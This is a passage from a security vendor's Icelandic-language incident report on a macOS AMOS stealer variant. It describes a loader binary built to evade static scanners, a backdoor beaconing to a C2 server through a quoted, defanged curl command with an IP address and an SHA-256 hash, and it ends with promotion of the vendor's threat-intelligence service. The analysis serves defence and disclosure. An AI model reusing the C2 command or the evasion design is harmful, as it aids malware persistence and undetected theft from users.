mkdir       rename      opendir     readdir

Fjarverandi: process introspection

getpid      getuid      getenv      sysctl

Fjarverandi: cryptography

CCCrypt     SecItemAdd  SecKeychainFind

Í hefðbundnu malware-sample býst maður við network-imports (socket, connect) eða skráar-imports (fopen, write). Þetta binary hefur ekki eitt einasta. Fyrir staðlaðan scanner lítur það út eins og saklaus process-launcher, og það er þannig ætlað: meðvituð arkitektúrákvörðun sem lætur statísk greiningartól hlaupa út í tómið.

helper binary-ið framkvæmir ekki þjófnaðinn sjálft. Eini tilgangur þess er að planta og keyra hinn eiginlega illgjarna payload, sterkt obfuskerað AppleScript. EDR eða AV sem leitar að illgjörnum binaries sér hér loader án network- eða skráar-I/O og gæti flokkað hann sem hreinan, án þess að átta sig á að binary-ið er sérhæft delivery-kerfi fyrir high-level script payload.


{: #backdoorinn}

Atvikinu lauk ekki eftir upphaflegu kompromíseringuna. Microsoft Defender-telemetry sýndi ferli sem keyrði frá /Users/<redacted>/.mainhelper og spurði út í ytri server:

sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"

Base64-strengurinn afkóðaðist í 16-byte tækis-UUID, einkvæmt auðkenni sem C2-innviðir árásaraðilans höfðu úthlutað þessu tæki á degi upphaflegu sýkingarinnar.

.mainhelper-binary-ið (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) hafði verið sett upp á degi atviksins af osascript-dropper-num gegnum ditto.


{: #shared-threat-intelligence}

Þegar alert kviknar í SOC-inu okkar byrjar klukkan ekki bara að tifa fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir glueckkanja-skildinum. Þessi rannsókn á óskráðu AMOS-afbrigði gerir ljóst hvað intelligence gap-ið þýðir í raun: hættulegur tímagluggi þar sem hefðbundnir vendors eru blindir vegna þess að þeir hafa ekki enn séð ógnina.

Hér sýnir okkar séreignar Shared Threat Intelligence Platform gildi sitt, þróuð eingöngu fyrir glueckkanja-CSOC-viðskiptavini. Við bíðum ekki eftir uppfærslum frá iðnaðinum, við búum þær til. Á meðan greinendur okkar voru enn að taka í sundur síðustu lögin af ARM64-assembly dreifði Automated Orchestration Engine okkar þegar útdregnu indikatorana yfir allt vistkerfið. Það skapar hjörðar-ónæmi: það sem finnst á einum endpoint er innan mínútna orðið að blokkaðri ógn fyrir öll fyrirtæki undir vernd okkar.

Reaktíft öryggi virkar ekki gegn ógnum sem laumast markvisst gegnum eyður hefðbundinna varna. Svarið liggur í tengingu mannlegrar sérþekkingar við arkitektúr sem beitir þeirri þekkingu strax og í skala. Í gegnum shared intelligence módelið okkar snýst tímakostur árásaraðilans við: viðskiptavinir okkar eru varðir áður en iðnaðurinn viðurkennir ógnina yfirhöfuð.

Athugasemd um persónuvernd

Auðkennanlegar upplýsingar hafa verið nafnleyndar í þessari birtingu. Tilteknum tæknilegum smáatriðum, indikatorum og tímastimplum kann að hafa verið breytt lítillega til að tryggja áframhaldandi vernd viðkomandi umhverfis, án þess að skerða tæknilega heilleika greiningarinnar.

Tæknilegu greiningarnar og Indicators of Compromise (IOCs) í þessari skýrslu eru eingöngu í upplýsinga- og fræðsluskyni. Þau eru látin í té eftir bestu vitund. glueckkanja AG veitir engar berum orðum eða óbeinar ábyrgðir varðandi heilleika eða nákvæmni og ber ekki ábyrgð á skaða, tapi eða öryggisatvikum sem hljótast af notkun þeirra upplýsinga, reglna eða signature sem hér eru deilt. Við mælum með að staðfesta öll indikatora og reglur í stýrðu umhverfi áður en þau eru tekin í notkun.

Lýstir indikatorar og tækni geta skarast við þekktar malware-fjölskyldur og eru ekki eingöngu bundnar við eina herferð.

Hafðu samband

Viltu vita hvernig Shared Threat Intelligence Platform okkar ver þig fyrir óþekktum malware-afbrigðum, áður en iðnaðurinn heyrir af þeim. Talaðu við okkur.
Andlitsmynd af Jan Geisbauer, Head of Security hjá glueckkanja
Það hættulega við þetta afbrigði var ekki tæknilegi flækjustigið, þótt það sé áhrifamikið. Það hættulega var tímaglugginn. Án Shared Threat Intelligence hefðu aðrir viðskiptavinir okkar staðið óvarðir klukkustundum saman á meðan við vorum enn að greina.
Jan GeisbauerHead of Security

Svipaðar færslur